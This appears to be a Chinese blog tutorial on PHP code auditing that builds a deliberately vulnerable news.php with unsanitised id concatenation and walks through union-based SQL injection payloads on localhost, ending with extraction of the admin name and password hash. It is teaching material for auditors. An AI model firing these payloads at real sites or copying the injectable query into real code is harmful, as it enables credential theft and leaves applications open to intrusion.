0x01 前言
近几年随着web
安全人才的升级,越来越多的安全研究人员投入到php
应用的漏洞挖掘,相应的代码安全问题也被大量的披露出来。身处这个时代,我有幸见识到身边白帽子不断寻求突破并丰富和完善了代码审计这个概念,时至今日笔者总结了一套基础的审计方法,厚着脸皮取名为代码审计的艺术,希望能够帮助新人更好的认识和进入这一领域。
0x02 准备
知识储备:PHP
基础、MySQL
入门
工具:notepad++
服务器环境:wamp
测试代码:
news.php
:
<?php
$conn = MySQL_connect('localhost', 'root', 'root') or die('bad!');
MySQL_query("SET NAMES binary'");
MySQL_select_db('test', $conn) OR emMsg("数据库连接失败");
//执行sql语句
$id = isset($_GET['id']) ? $_GET['id'] : 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = MySQL_query($sql, $conn) or die(MySQL_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = MySQL_fetch_array($result, MySQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
MySQL_free_result($result);
?>
</body>
</html>
SQL
文件:
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- 数据库: `test`
--
CREATE DATABASE IF NOT EXISTS `test` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `test`;
--
-- 表的结构 `admin`
--
CREATE TABLE IF NOT EXISTS `admin` (
`uid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(32) NOT NULL,
`pass` char(32) NOT NULL,
PRIMARY KEY (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `admin`
--
INSERT INTO `admin` (`uid`, `name`, `pass`) VALUES (1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
--
-- 表的结构 `news`
--
CREATE TABLE IF NOT EXISTS `news` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`title` varchar(30) CHARACTER SET gbk NOT NULL,
`content` varchar(256) CHARACTER SET gbk NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
--
-- 转存表中的数据 `news`
--
INSERT INTO `news` (`id`, `title`, `content`) VALUES(1, 'news title', 'news content'),(2, 'title two', '1100000011111');
0x03 代码审计脑图
总结好的审计脑图如下:
脑图主要总结了SQL
注入、代码&&命令执行、文件操作相关以及设计缺陷四种常见漏洞,每种漏洞又有很多种情况和案例,所以后面的文章会陆续把这些做成案例分享给大家。这篇首先介绍一下SQL
注入漏洞。
0x04 SQL注入入门
现在注入的主要原因是程序员在写sql
语句的时候还是通过最原始的语句拼接来完成,另外SQL
语句有select
、insert
、update
和delete
四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以select
为例引导新手初步了解SQL
注入。
select
是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:
<?php
$conn = MySQL_connect('localhost', 'root', 'braid') or die('bad!');
MySQL_query("SET NAMES binary'");
MySQL_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET['id']) ? $_GET['id'] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = MySQL_query($sql, $conn) or die(MySQL_error());
?>
浏览器输入http://localhost/sqltest/news.php?id=1
,发现输出了一条新闻的标题和内容如下图:
然后我们输入http://localhost/sqltest/news.php?id=1 and 1=1
,发现返回了跟上面一样的结果,然后我们查了下sql
查询的日志,成功执行的sql
语句如下:
SELECT * FROM news WHERE id=1 and 1=1
然后看了下数据库表news
里有三个字段,我们构造一个union
联合查询的语句http://localhost/sqltest/news.php?id=-1 union select 1,2,3
,页面输出了2
和3
:
对应执行的sql
语句:
SELECT * FROM news WHERE id=-1 union select 1,2,3
2
和3
都是输出点,我们可以构造获取MySQL
数据库的用户名的语句http://localhost/sqltest/news.php?id=-1union select 1,user(),3
,页面输出了root@localhost
:
对应执行的sql
语句:
SELECT * FROM news WHERE id=-1 union select 1,user(),3
进一步观察数据库,发现除了news
表外还有个admin
表,我们可以构造获取管理员账户密码的语句:
http://localhost/sqltest/news.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin
对应执行的sql
语句:
SELECT * FROM news WHERE id=-1 union select 1,2,concat(name,0x23,pass)
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章